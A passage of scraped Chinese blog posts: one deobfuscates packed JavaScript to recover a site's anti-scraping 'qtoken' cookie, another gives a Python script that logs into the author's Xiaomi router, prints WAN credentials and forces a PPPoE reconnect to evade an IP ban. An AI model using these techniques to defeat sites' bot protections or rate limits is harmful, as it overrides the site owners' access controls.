libboost-all-dev</pre>\r\n\u5b89\u88c5\u5b8c\u6210\u4e4b\u540e\u7ee7\u7eed\u5b89\u88c5 PyV8 \uff0c\u4f9d\u7136\u662f\u4e0a\u9762\u540c\u6837\u7684\u95ee\u9898\uff0c\u770b\u6765\u53ea\u80fd\u624b\u52a8\u6765\u4e86\u3002\r\n<p>\r\n\t\u4e0b\u8f7d https://github.com/emmetio/pyv8-binaries\r\n</p>\r\n<p>\r\n\t\u89e3\u538b\u5e76\u9009\u62e9\u5408\u9002\u81ea\u5df1\u7cfb\u7edf\u73af\u5883\u7684\u6587\u4ef6\uff0c\u518d\u6b21\u89e3\u538b \u5e76\u628a\u89e3\u538b\u5f97\u5230\u7684\u6587\u4ef6\u590d\u5236\u5230\r\n</p>\r\n<pre class=\"brush:bash;\">/usr/lib/python2.7/dist-packages/</pre>\r\n\u91cc\u9762\u53bb\uff0c\u7136\u540e\u6d4b\u8bd5\u770b\u662f\u5426\u6210\u529f\uff0c\u7ec8\u7aef\u6267\u884c\r\n<pre class=\"brush:bash;\">python\r\nimport PyV8</pre>\r\n<p>\r\n\t\u5982\u679c\u6ca1\u6709\u62a5\u9519\uff0c\u90a3\u5c31\u6210\u529f\u4e86\uff0c\u5f00\u59cb\u6109\u5feb\u7684\u73a9\u800d\uff0c\u4e0b\u9762\u662f\u6211\u9700\u8981\u89e3\u6790\u7684js\u4ee3\u7801\r\n</p>\r\n<pre class=\"brush:js;\">var l = [119, 98, 115, 33, 111, 109, 120, 105, 118, 62, 92, 50, 50, 54, 45, 50, 50, 51, 45, 50, 50, 55, 45, 50, 49, 58, 45, 50, 50, 49, 45, 50, 51, 51, 45, 50, 50, 52, 45, 50, 50, 51, 45, 50, 50, 54, 45, 50, 49, 55, 45, 50, 49, 58, 45, 50, 49, 50, 45, 50, 50, 54, 45, 50, 50, 58, 45, 50, 50, 49, 45, 50, 50, 51, 45, 50, 50, 58, 45, 50, 51, 51, 45, 50, 50, 58, 45, 50, 50, 55, 45, 50, 50, 54, 45, 50, 50, 54, 94, 60, 119, 98, 115, 33, 121, 119, 99, 100, 108, 62, 92, 49, 45, 51, 50, 45, 53, 45, 55, 45, 50, 50, 45, 57, 45, 56, 45, 50, 51, 45, 51, 45, 51, 49, 45, 50, 52, 45, 50, 54, 45, 50, 49, 45, 50, 57, 45, 52, 45, 58, 45, 50, 53, 45, 50, 56, 45, 54, 45, 50, 55, 45, 50, 58, 45, 50, 94, 60, 119, 98, 115, 33, 118, 62, 35, 35, 60, 103, 112, 115, 33, 41, 119, 62, 49, 60, 119, 61, 121, 119, 99, 100, 108, 47, 109, 102, 111, 104, 117, 105, 60, 119, 44, 44, 42, 124, 118, 44, 62, 84, 117, 115, 106, 111, 104, 47, 103, 115, 112, 110, 68, 105, 98, 115, 68, 112, 101, 102, 41, 111, 109, 120, 105, 118, 92, 121, 119, 99, 100, 108, 92, 119, 94, 94, 42, 126, 60, 37, 47, 100, 112, 112, 108, 106, 102, 41, 40, 114, 117, 112, 108, 102, 111, 40, 45, 118, 45, 124, 113, 98, 117, 105, 59, 40, 48, 40, 126, 42, 60];\r\neval(function(p, a, c, k, e, d) {\r\n\te = function(c) {\r\n\t\treturn (c < a ? \"\" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))\r\n\t};\r\n\tif (!''.replace(/^/, String)) {\r\n\t\twhile (c--) d[e(c)] = k[c] || e(c);\r\n\t\tk = [function(e) {\r\n\t\t\treturn d[e]\r\n\t\t}];\r\n\t\te = function() {\r\n\t\t\treturn '\\\\w+'\r\n\t\t};\r\n\t\tc = 1\r\n\t};\r\n\twhile (c--) if (k[c]) p = p.replace(new RegExp('\\\\b' + e(c) + '\\\\b', 'g'), k[c]);\r\n\treturn p\r\n}('6 3=\\'\\';7(2=0;2<4.5;2++){3+=8.a(4[2]-1)};9(3)', 11, 11, '||i|t|l|length|var|for|String|eval|fromCharCode'.split('|'), 0, {}))</pre>\r\n<p>\r\n\t\u5df2\u7ecf\u7ecf\u8fc7\u6574\u7406\uff0c\u5176\u5b9e\u521a\u5f00\u59cb\u5c31\u53ea\u6709\u4e00\u884c\uff0c\u6bd4\u8f83\u5c34\u5c2c\r\n</p>\r\n<h2>\r\n\t\u59ff\u52bf\r\n</h2>\r\n<p>\r\n\t\u6298\u817e\u7684\u8fc7\u7a0b\u53ef\u8c13\u662f\u5404\u79cd\u66f2\u6298\uff0c\u4e0d\u8fc7\u4e5f\u5b66\u5230\u4e86\u4e0d\u5c11\u59ff\u52bf\uff0c\u6bd4\u5982\uff0c\u5982\u4f55\u628a\u6df7\u6dc6\u7684js\u8fd8\u539f\u6210\u539f\u59cb\u4ee3\u7801\r\n</p>\r\n<p>\r\n\t\u4f7f\u7528Firebug\u63d2\u4ef6\u5c31\u80fd\u8f7b\u677e\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u6253\u5f00firebug\u63d2\u4ef6\uff0c\u627e\u5230\u811a\u672c\u9009\u9879\uff0c\u9009\u62e9\u5e26 eval \u7684\u9879\uff0c\u4e00\u822c\u89e3\u6790\u5230\u6700\u540e\u4e00\u884c\u5c31\u662f\u539f\u59cb\u4ee3\u7801\u4e86\uff0c\u6211\u4e0a\u9762\u7684\u90a3\u6bb5 js \u8fd8\u539f\u4e4b\u540e\u5c31\u4fbf\u6210\u4e86\u8fd9\u4e2a\u6837\u5b50\r\n</p>\r\n<pre class=\"brush:js;\">var balwi=[115,116,115,122,112,115,110,106,122,110,122,112,101,119,115,106,113,101,116,116,119,106];var ljpry=[15,21,4,9,12,14,11,0,18,20,8,16,7,2,1,10,17,13,19,6,5,3];var j=\"\";for (k=0;k<ljpry.length;k++){j+=String.fromCharCode(balwi[ljpry[k]])};$.cookie('qtoken',j,{path:'/'});</pre>\r\n\u7a0d\u5fae\u6574\u7406\u4e00\u4e0b\u5f97\u5230\u4e00\u4e2a\u683c\u5f0f\u6e05\u6670\u7684\u4ee3\u7801\r\n<pre class=\"brush:js;\">var balwi = [115, 116, 115, 122, 112, 115, 110, 106, 122, 110, 122, 112, 101, 119, 115, 106, 113, 101, 116, 116, 119, 106];\r\nvar ljpry = [15, 21, 4, 9, 12, 14, 11, 0, 18, 20, 8, 16, 7, 2, 1, 10, 17, 13, 19, 6, 5, 3];\r\nvar j = \"\";\r\nfor (k = 0; k < ljpry.length; k++) {\r\n\tj += String.fromCharCode(balwi[ljpry[k]])\r\n};\r\n$.cookie('qtoken', j, {\r\n\tpath: '/'\r\n});</pre>\r\n<p>\r\n\t\u6709\u4e86\u539f\u59cb\u4ee3\u7801\u5c31\u5f88\u5bb9\u6613\u5f97\u5230\u4ee4\u724c\u7684\u751f\u6210\u7b97\u6cd5\uff0c\u4f7f\u7528Python\u751f\u6210\uff0c\u8fd9\u56de\u4e0d\u7528\u9ebb\u70e6 PyV8 \u5927\u795e\u51fa\u9a6c\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t\u53c2\u8003\r\n</h2>\r\n<p>\r\n\thttp://blog.tomsheep.net/2011/08/07/pyv8/\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23406 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4f7f\u7528Python\u7ba1\u7406\u5c0f\u7c73\u8def\u7531\u5668"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-09-21, 3:10 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u56de\u987e\r\n</h2>\r\n<p>\r\n\t\u4e4b\u524d\u5f88\u65e9\u7684\u65f6\u5019\u5199\u8fc7\u4e00\u7bc7\u4f7f\u7528 Python \u811a\u672c\u767b\u5f55\u5c0f\u7c73\u8def\u7531\u5668\u7684\u6587\u7ae0\uff0c\u6587\u7ae0\u94fe\u63a5\u5728\u8fd9 <a target=\"_blank\" href=\"http://www.92ez.com/?action=show&id=23373\">\u5199\u4e2aPython\u811a\u672c\u6765\u767b\u5f55\u5c0f\u7c73\u8def\u7531\u5668</a> ,\u5f53\u65f6\u5199\u90a3\u4e2a\u811a\u672c\u662f\u56e0\u4e3a\u770b\u5230Github\u4e0a\u6709\u670b\u53cb\u95ee\u6211\u8fd9\u4e2a\u767b\u5f55\u7684\u95ee\u9898\uff0c\u521a\u597d\u90a3\u65f6\u5019\u624b\u4e0a\u6b63\u597d\u4e5f\u6709\u4e00\u53f0\u5c0f\u7c73\u8def\u7531\u5668\uff0c\u4e8e\u662f\u82b1\u4e86\u70b9\u65f6\u95f4\u5199\u4e86\u4e2aDemo\u4f8b\u5b50\u7ed9\u4ed6\u3002\r\n</p>\r\n<p>\r\n\t\u540e\u9762\u56e0\u4e3a\u642c\u5bb6\u7684\u539f\u56e0\uff0c\u5c0f\u7c73\u8def\u7531\u5668\u9001\u4eba\u4e86\uff0c\u5c31\u6ca1\u518d\u5173\u6ce8\u8fd9\u4e2a\u4e1c\u897f\uff0c\u4e5f\u5c31\u6ca1\u6709\u7ee7\u7eed\u5199\u5176\u4ed6\u529f\u80fd...\r\n</p>\r\n<h2>\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u4eca\u5929\u5728\u5199\u53e6\u5916\u4e00\u4e2a\u811a\u672c\u7684\u65f6\u5019\u9047\u5230\u4e86\u4e00\u4e2a\u95ee\u9898\uff0c\u6211\u811a\u672c\u7684\u529f\u80fd\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u53bb\u6293\u53d6\u522b\u4eba\u7f51\u7ad9\u7684\u67d0\u4e2a\u67e5\u8be2\u63a5\u53e3\uff0c\u4f46\u662f\u56e0\u4e3a\u7ebf\u7a0b\u5f00\u592a\u5927\u4e86\uff0c\u5bfc\u81f4IP\u88ab\u5c01\u3002\r\n</p>\r\n<p>\r\n\t\u8def\u4eba\u7532\uff1a\u4f60TM\u50bb\u903c\u4e48\uff1f\u6362\u4e2aIP\u4e0d\u5c31\u597d\u4e86\uff1f\u8def\u7531\u5668\u65ad\u5f00\u91cd\u8fde\u4e0d\u4f1a\uff1f\r\n</p>\r\n<p>\r\n\t\u5bf9\u554a\uff0c\u6211\u5c31\u662f\u4e0d\u4f1a\u554a\uff0c\u4f60\u6765\u6253\u6211\uff1f\r\n</p>\r\n<p>\r\n\t\u4f60\u60f3\u4e00\u4e0b\uff0cIP\u88ab\u5c01\u4e86\uff0c\u4f60\u9700\u8981\u6253\u5f00\u6d4f\u89c8\u5668\uff0c\u767b\u5f55\u8def\u7531\u5668\uff0c\u9875\u9762\u8fd8\u5361\u5230\u7206\u70b8\uff0c\u7136\u540e\u5404\u79cd\u70b9\uff0c\u7ec8\u4e8e\u5230\u4e86\u62e8\u53f7\u7684\u9875\u9762\uff0c\u624d\u80fd\u8fdb\u884c\u65ad\u5f00\u91cd\u8fde\u7684\u64cd\u4f5c\uff0c\u8fd9\u7279\u4e48\u5b9e\u5728\u662f\u592a\u9ebb\u70e6\u4e86\uff0c\u5bf9\u4e8e\u535a\u4e3b\u8fd9\u79cd\u61d2\u764c\u665a\u671f\u60a3\u8005\u6765\u8bf4\uff0c\u5b9e\u5728\u662f\u4e0d\u80fd\u5fcd\uff01\r\n</p>\r\n<h2>\r\n\t\u89e3\u51b3\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u6211\u8868\u793a\u4e0d\u80fd\u628a\u73a9\u800d\u7684\u65f6\u95f4\u6d6a\u8d39\u5728\u8fd9\u79cd\u65e0\u7528\u529f\u4e0a\u9762\u554a\uff0c\u8bf7\u51fa\u4e16\u754c\u4e0a\u6700\u5c4c\u7684\u7f16\u7a0b\u8bed\u8a00 ---> Python \uff0c\u6109\u5feb\u7684\u64b8\u4e00\u53d1\u5427\u3002\r\n</p>\r\n<p>\r\n\t\u81ea\u52a8\u5316\u811a\u672c\u7684\u5173\u952e\u70b9\u5c31\u662f\u673a\u5668\u80fd\u5728\u5408\u9002\u7684\u65f6\u95f4\u70b9\u6839\u636e\u7ed9\u51fa\u7684\u6761\u4ef6\u6267\u884c\u5bf9\u5e94\u7684\u64cd\u4f5c\uff0c\u90a3\u4e48\u8fd9\u91cc\u6211\u8981\u6267\u884c\u7684\u663e\u7136\u662f\u65ad\u5f00\u8fde\u63a5\u91cd\u65b0\u83b7\u53d6IP\u5730\u5740\u7684\u64cd\u4f5c\u3002\r\n</p>\r\n<p>\r\n\t\u5f53\u7136\uff0c\u5634\u4e0a\u529f\u592b\u518d\u5389\u5bb3\uff0c\u6ca1\u6709\u5b9e\u6218\u600e\u4e48\u80fd\u884c\uff1f\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u5f00\u59cb\u4e4b\u524d\u8fd8\u662f\u5206\u6790\u5206\u6790\u6574\u4e2a\u8fc7\u7a0b\u628a\u3002\r\n</p>\r\n<p>\r\n\t\u767b\u5f55 -> \u6267\u884c\u91cd\u542f\r\n</p>\r\n<p>\r\n\t\u770b\u8d77\u6765\u4f3c\u4e4e\u5e76\u6ca1\u6709\u4ec0\u4e48\u9700\u8981\u5206\u6790\u7684...\r\n</p>\r\n<p>\r\n\t\u4e3a\u4e86\u8ba9\u811a\u672c\u663e\u5f97\u66f4\u52a0\u725b\u903c\uff0c\u6211\u987a\u624b\u628a\u83b7\u53d6wan\u4fe1\u606f\u7ed9\u52a0\u4e0a\u53bb\u4e86\uff0c\u5f53\u7136\u4e86\uff0c\u80af\u5b9a\u5c11\u4e0d\u4e86\u5f53\u524d\u5728\u7ebf\u8bbe\u5907\u7684\u5217\u8868\u5566\u3002\r\n</p>\r\n<p>\r\n\t\u4ec0\u4e48\uff1f\u4f60\u8bf4wifi\u4e5f\u8981\uff1f\u5475\u5475\uff0c\u6211\u5c31\u4e0d\u5199\uff01\r\n</p>\r\n<p>\r\n\t\u662f\u4e0d\u662f\u76f8\u5f53\u7b80\u5355\u7684\u903b\u8f91\u5462\uff1f\u8fd9TM\u538b\u6839\u5c31\u6ca1\u6709\u903b\u8f91\u53ef\u8a00\uff5e\uff5e\uff5e\r\n</p>\r\n<h2>\r\n\t\u7f16\u7801\r\n</h2>\r\n<p>\r\n\t\u5bf9\uff0c\u5c31\u662f\u7f16\u7801\uff0c\u771f\u7684\u5f88\u7b80\u5355\uff0c\u6211\u5c31\u4e0d\u4e00\u4e00\u89e3\u91ca\u4e86\uff0c\u76f4\u63a5\u4e0a\u4ee3\u7801\u5427\r\n</p>\r\n<pre class=\"brush:py;\">#!/usr/bin/env python\r\n# coding=utf-8\r\n# code by 92ez.com\r\n\r\nimport requests\r\nfrom Crypto.Hash import SHA\r\nimport random\r\nimport time\r\nimport json\r\nimport sys\r\nimport re\r\n\r\nreload(sys)\r\nsys.setdefaultencoding('utf8')\r\n\r\ndef getToken(host):\r\n\r\n homeRequest = requests.get('http://' + host + '/cgi-bin/luci/web/home')\r\n key = re.findall(r'key: \\'(.*)\\',', homeRequest.text)[0]\r\n mac = re.findall(r'deviceId = \\'(.*)\\';', homeRequest.text)[0]\r\n\r\n aimurl = \"http://\" + host + \"/cgi-bin/luci/api/xqsystem/login\"\r\n\r\n nonce = \"0_\" + mac + \"_\" + str(int(time.time())) + \"_\" + str(random.randint(1000, 10000))\r\n\r\n pwdtext = sys.argv[2]\r\n\r\n pwd = SHA.new()\r\n pwd.update(pwdtext + key)\r\n hexpwd1 = pwd.hexdigest()\r\n\r\n pwd2 = SHA.new()\r\n pwd2.update(nonce + hexpwd1)\r\n hexpwd2 = pwd2.hexdigest()\r\n\r\n data = {\r\n \"logtype\": 2,\r\n \"nonce\": nonce,\r\n \"password\": hexpwd2,\r\n \"username\": \"admin\"\r\n }\r\n\r\n response = requests.post(url=aimurl, data=data, timeout=5)\r\n resjson = json.loads(response.content)\r\n\r\n if resjson['code'] == 0:\r\n return resjson['token']\r\n else:\r\n return False\r\n\r\n\r\ndef getInfo(host, token):\r\n\r\n base_url = 'http://'+ host + '/cgi-bin/luci/;stok='+ token + '/api/misystem/status'\r\n wan_url = 'http://'+ host + '/cgi-bin/luci/;stok='+ token + '/api/xqnetwork/wan_info'\r\n stop_url = 'http://'+ host + '/cgi-bin/luci/;stok='+ token + '/api/xqnetwork/pppoe_stop'\r\n start_url = 'http://'+ host + '/cgi-bin/luci/;stok='+ token + '/api/xqnetwork/pppoe_start'\r\n pppoe_url = 'http://'+ host + '/cgi-bin/luci/;stok='+ token + '/api/xqnetwork/pppoe_status'\r\n reboot_url = 'http://'+ host + '/cgi-bin/luci/;stok='+ token + '/api/xqnetwork/reboot?client=web'\r\n\r\n getStatus(base_url)\r\n getWanInfo(wan_url)\r\n\r\n action = sys.argv[3]\r\n\r\n if action == 'reconnect':\r\n doReconnect(stop_url,start_url,pppoe_url)\r\n elif action == 'restart':\r\n doReboot(reboot_url)\r\n else:\r\n pass\r\n\r\n\r\ndef getStatus(url):\r\n try:\r\n statusInfo = json.loads(requests.get(url,timeout=5).content)\r\n\r\n devList = statusInfo['dev']\r\n\r\n print '[CPU]: '+ str(statusInfo['cpu']['core']) + '\u6838 '+ statusInfo['cpu']['hz'] + ' \u7cfb\u7edf\u8d1f\u8f7d '+ str(statusInfo['cpu']['load'])\r\n print '[MAC]: '+ statusInfo['hardware']['mac']\r\n print '[MEM]: Type: '+ statusInfo['mem']['type'] +' Total: '+ statusInfo['mem']['total'] + ' Usage: ' +str(statusInfo['mem']['usage']*100)+'% \\n'\r\n print '--------------------[DEV]----------------------\\n'\r\n for dev in devList:\r\n print dev['mac']+ ' ' + dev['devname']\r\n except Exception,e:\r\n print e\r\n\r\n\r\ndef getWanInfo(url):\r\n try:\r\n wanInfo = json.loads(requests.get(url,timeout=5).content)\r\n print '\\n--------------------[WAN]----------------------\\n'\r\n print '\u7528\u6237: '+ wanInfo['info']['details']['username']\r\n print '\u5bc6\u7801: '+ wanInfo['info']['details']['password']\r\n print '\u7c7b\u578b: '+ wanInfo['info']['details']['wanType']\r\n print 'IP\u5730\u5740: '+ wanInfo['info']['ipv4'][0]['ip']\r\n print '\u7f51\u5173: '+ wanInfo['info']['gateWay']\r\n print 'DNS: '+ wanInfo['info']['dnsAddrs']+','+wanInfo['info']['dnsAddrs1']\r\n except Exception,e:\r\n print e\r\n\r\n\r\ndef doReconnect(stop,start,pppoe):\r\n print '\\n-----------------[Reconnect]-------------------\\n'\r\n try:\r\n currentip = json.loads(requests.get(pppoe, timeout=5).content)['ip']['address']\r\n print 'Current ip is '+ currentip\r\n stopInfo = json.loads(requests.get(stop,timeout=5).content)\r\n if stopInfo['code'] == 0:\r\n print 'Sleep 3s...'\r\n time.sleep(3)\r\n startInfo = json.loads(requests.get(start, timeout=5).content)\r\n if startInfo['code'] == 0:\r\n print 'Opration success... sleep 8s ...'\r\n time.sleep(8)\r\n newip = json.loads(requests.get(pppoe,timeout=5).content)['ip']['address']\r\n print 'Success! New ip is '+newip\r\n else:\r\n print 'Failed!'\r\n else:\r\n print 'Failed!'\r\n except Exception,e:\r\n print e\r\n\r\n\r\ndef doReboot(url):\r\n try:\r\n reboot = json.loads(requests.get(url,timeout=5).content)\r\n\r\n if reboot['code'] == 0:\r\n print 'Rebooting...'\r\n else:\r\n print 'Reboot failed!'\r\n except Exception,e:\r\n print e\r\n\r\nif __name__ == '__main__':\r\n print '\\n########### Login Mi Router Test Py ############'\r\n print '\t\tAuthor 92ez.com'\r\n print '################################################\\n'\r\n\r\n host = sys.argv[1]\r\n token = getToken(host)\r\n\r\n if token:\r\n getInfo(host,token)\r\n else:\r\n print 'Login failed!'\r\n</pre>\r\n<h2>\r\n\t\u6548\u679c\r\n</h2>\r\n<p>\r\n\t\u4e00\u4e2a\u56fe\u5e94\u8be5\u5c31\u80fd\u8bf4\u660e\u4e86\u5427\uff0c\u56fe\u4e0a\u6211\u6267\u884c\u4e86\u91cd\u8fde\u7684\u64cd\u4f5c</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=531\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201701/3e659a7b3d12978ea74f7feb1f1b991c.png\" alt=\"wewefew.png - \u5927\u5c0f: 159.13 KB - \u5c3a\u5bf8: 1005 x 655 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"587\"></a></div>\r\n\r\n<p>\r\n\t<br>\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23405 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["apt-get \u63d0\u793a \"E: \u65e0\u6cd5\u627e\u5230\u83b7\u53d6\u8f6f\u4ef6\u5305\u7684\u6e20\u9053 ...\""], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-09-21, 11:06 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u6267\u884c\r\n</p>\r\n<pre class=\"brush:bash;\">apt-get update && apt-get dist-upgrade -y</pre>\r\n\u8fdb\u884c\u7cfb\u7edf\u66f4\u65b0\u7684\u65f6\u5019\u53d1\u751f\u4e86\u9519\u8bef\uff0c\u63d0\u793a\u4fe1\u606f\r\n<pre class=\"brush:bash;\">\u6b63\u5728\u8bfb\u53d6\u8f6f\u4ef6\u5305\u5217\u8868... \u5b8c\u6210\r\nE: \u65e0\u6cd5\u627e\u5230\u83b7\u53d6\u8f6f\u4ef6\u5305\u7684\u6e20\u9053 /usr/lib/apt/methods/https \u6240\u9700\u7684\u9a71\u52a8\u7a0b\u5e8f\u3002\r\nN: \u8bf7\u68c0\u67e5\u662f\u5426\u5b89\u88c5\u4e86 apt-transport-https \u8f6f\u4ef6\u5305</pre>\r\n\u6839\u636e\u63d0\u793a\u5b89\u6267\u884c\u5b89\u88c5\u547d\u4ee4\r\n<pre class=\"brush:bash;\">apt-get install apt-transport-https</pre>\r\n\u4f9d\u7136\u62a5\u9519\r\n<pre class=\"brush:bash;\">\u6b63\u5728\u8bfb\u53d6\u8f6f\u4ef6\u5305\u5217\u8868... \u5b8c\u6210\r\n\u6b63\u5728\u5206\u6790\u8f6f\u4ef6\u5305\u7684\u4f9d\u8d56\u5173\u7cfb\u6811 \r\n\u6b63\u5728\u8bfb\u53d6\u72b6\u6001\u4fe1\u606f... \u5b8c\u6210 \r\n\u4e0b\u5217\u3010\u65b0\u3011\u8f6f\u4ef6\u5305\u5c06\u88ab\u5b89\u88c5\uff1a\r\n apt-transport-https\r\n\u5347\u7ea7\u4e86 0 \u4e2a\u8f6f\u4ef6\u5305\uff0c\u65b0\u5b89\u88c5\u4e86 1 \u4e2a\u8f6f\u4ef6\u5305\uff0c\u8981\u5378\u8f7d 0 \u4e2a\u8f6f\u4ef6\u5305\uff0c\u6709 0 \u4e2a\u8f6f\u4ef6\u5305\u672a\u88ab\u5347\u7ea7\u3002\r\n\u9700\u8981\u4e0b\u8f7d 165 kB \u7684\u5f52\u6863\u3002\r\n\u89e3\u538b\u7f29\u540e\u4f1a\u6d88\u8017 237 kB \u7684\u989d\u5916\u7a7a\u95f4\u3002\r\nE: \u65e0\u6cd5\u627e\u5230\u83b7\u53d6\u8f6f\u4ef6\u5305\u7684\u6e20\u9053 /usr/lib/apt/methods/https \u6240\u9700\u7684\u9a71\u52a8\u7a0b\u5e8f\u3002\r\nN: \u8bf7\u68c0\u67e5\u662f\u5426\u5b89\u88c5\u4e86 apt-transport-https \u8f6f\u4ef6\u5305</pre>\r\n<h2>\r\n\t\u89e3\u51b3\r\n</h2>\r\n<p>\r\n\t\u5728\u4e92\u8054\u7f51\u641c\u7d22\u76f8\u5173\u95ee\u9898\uff0c\u53d1\u73b0\u5df2\u7ecf\u6709\u5c0f\u4f19\u4f34\u63d0\u4f9b\u4e86\u89e3\u51b3\u65b9\u6cd5\uff0c\u6267\u884c\u547d\u4ee4\r\n</p>\r\n<pre class=\"brush:bash;\">aptitude show apt-transport-https</pre>\r\n\u663e\u793a\u4e86\u8be6\u7ec6\u4fe1\u606f\r\n<pre class=\"brush:bash;\">\u8f6f\u4ef6\u5305\uff1aapt-transport-https \r\n\u7248\u672c\u53f7\uff1a1.3~rc2\r\n\u72b6\u6001: \u672a\u5b89\u88c5\r\n\u4f18\u5148\u7ea7\uff1a\u53ef\u9009\r\n\u90e8\u5206\uff1aadmin\r\n\u7ef4\u62a4\u8005\uff1aAPT Development Team <deity@lists.debian.org>\r\n\u4f53\u7cfb\uff1aamd64\r\n\u672a\u538b\u7f29\u5c3a\u5bf8\uff1a237 k\r\n\u4f9d\u8d56\u4e8e: libapt-pkg5.0 (>= 1.3~rc2), libc6 (>= 2.14), libcurl3-gnutls (>= 7.16.2), libgcc1 (>= 1:3.0), libstdc++6 (>= 5.2)\r\n\u63a8\u8350: ca-certificates\r\n\u51b2\u7a81: apt-transport-https:i386\r\n\u63cf\u8ff0\uff1ahttps download transport for APT\r\n This package enables the usage of 'deb https://foo distro main' lines in the /etc/apt/sources.list so that all package managers using the libapt-pkg library can access metadata and packages available in sources accessible over https\r\n (Hypertext Transfer Protocol Secure). \r\n \r\n This transport supports server as well as client authentication with certificates.\r\n\u6807\u7b7e: admin::package-management, protocol::http, protocol::ssl, role::shared-lib, suite::debian, use::downloading</pre>\r\n\u5c1d\u8bd5\u4e0b\u8f7d\u5e76\u5b89\u88c5\u8fd9\u4e2a\u8f6f\u4ef6\u5305\r\n<pre class=\"brush:bash;\">wget http://ftp.hk.debian.org/debian/pool/main/a/apt/apt-transport-https_1.0.9.8.3_amd64.deb\r\ndpkg -i apt-transport-https_1.0.9.8.3_amd64.deb</pre>\r\n\u7136\u800c\u62a5\u9519\r\n<pre class=\"brush:bash;\">(\u6b63\u5728\u8bfb\u53d6\u6570\u636e\u5e93 ... \u7cfb\u7edf\u5f53\u524d\u5171\u5b89\u88c5\u6709 334763 \u4e2a\u6587\u4ef6\u548c\u76ee\u5f55\u3002)\r\n\u6b63\u51c6\u5907\u89e3\u5305 apt-transport-https_1.0.9.8.3_amd64.deb ...\r\n\u6b63\u5728\u5c06 apt-transport-https (1.0.9.8.3) \u89e3\u5305\u5230 (1.0.9.8.3) \u4e0a ...\r\ndpkg: \u4f9d\u8d56\u5173\u7cfb\u95ee\u9898\u4f7f\u5f97 apt-transport-https \u7684\u914d\u7f6e\u5de5\u4f5c\u4e0d\u80fd\u7ee7\u7eed\uff1a\r\n apt-transport-https \u4f9d\u8d56\u4e8e libapt-pkg4.12 (>= 1.0.9.8.3)\uff1b\u7136\u800c\uff1a\r\n \u672a\u5b89\u88c5\u8f6f\u4ef6\u5305 libapt-pkg4.12\u3002\r\n\r\ndpkg: \u5904\u7406\u8f6f\u4ef6\u5305 apt-transport-https (--install)\u65f6\u51fa\u9519\uff1a\r\n \u4f9d\u8d56\u5173\u7cfb\u95ee\u9898 - \u4ecd\u672a\u88ab\u914d\u7f6e\r\n\u5728\u5904\u7406\u65f6\u6709\u9519\u8bef\u53d1\u751f\uff1a\r\n 